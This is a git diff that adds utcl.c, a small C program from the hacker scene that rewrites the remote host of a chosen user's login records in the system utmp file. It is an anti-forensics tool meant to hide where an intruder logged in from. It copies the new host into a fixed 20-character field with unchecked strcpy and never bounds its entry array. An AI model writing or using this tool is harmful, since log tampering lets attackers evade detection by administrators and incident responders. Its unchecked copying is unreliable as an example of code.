packetstorm sync

1 files changed, 80 insertions, 0 deletions

diff --git a/other/utmpcloak/utcl.c b/other/utmpcloak/utcl.c
new file mode 100644
index 0000000..c2be232
--- /dev/null
+++ b/other/utmpcloak/utcl.c
@@ -0,0 +1,80 @@
+/*  HiHo,
+   this utility changes the host of a given username (all his logins affected)
+   usage is utcl <user> <host> where host is the desired host (only 20 chars)
+
+   this piec of software is mostly ripped from ute.c which i found on my hdd
+   and dont know where it came from.. many thanks to the author of this one..
+   thanks goes also out to xdr who gave me the idea of writing this (he wrote 
+   such thingie, but then lost it @#$! ;)
+
+   have fun...
+   -hendy (flames to hendy@winterland.net)
+
+   greetings: (oh, this is lame, i know) to #!teso, #hax, #hack
+
+   // hope it's not too lame
+
+ */
+
+#include <stdlib.h>
+#include <sys/types.h>
+#include <string.h>
+#include <stdio.h>
+#include <unistd.h>
+#include <sys/file.h>
+#include <fcntl.h>
+#include <utmp.h>
+#include <pwd.h>
+#include <lastlog.h>
+// #define UTMP_FILE "/var/run/utmp" /* should have been defined in utmp.h */
+#define MAX_ENT 100
+
+int 
+main (int argc, char **argv)
+{
+  int item;
+  struct utmp Entry[MAX_ENT + 1];
+  off_t position[MAX_ENT + 1];
+  FILE *fptr;
+
+  if (argc < 3)
+    {
+      printf ("usage: %s <user> <host>\n", argv[0]);
+      exit (1);
+    }
+
+  if ((fptr = fopen (UTMP_FILE, "r+")) != NULL)
+    {
+      int last, num, i = 1;     /* get all utmp entries. */
+      while (fread (&Entry[i], sizeof (Entry[i]), 1, fptr) > 0)
+        {
+          if (strcmp (Entry[i].ut_line, "") != 0)       /* skip empty entries */
+            {
+              position[i] = ftell (fptr) - (long) (sizeof (Entry[i]));
+              i++;
+            }
+        }
+      last = i - 1;             /* keep a tab on how many entries there are. */
+      position[i] = ftell (fptr);       /* keep track of EOF */
+
+      for (item = 1; item <= last; item++)
+        {
+
+          if (!(strcmp (Entry[item].ut_name, argv[1])))
+            {
+              strcpy (Entry[item].ut_host, argv[2]);    /* insert new host */
+              fseek (fptr, position[item], SEEK_SET);   /* seek position in utmp */
+              fwrite (&Entry[item], sizeof (Entry[num]), 1, fptr);      /* write to file */
+
+            }
+        }
+
+
+      fclose (fptr);
+    }
+  else
+    {
+      printf ("\nERROR: cannot open file %s \n", UTMP_FILE);
+    }
+  return (0);
+}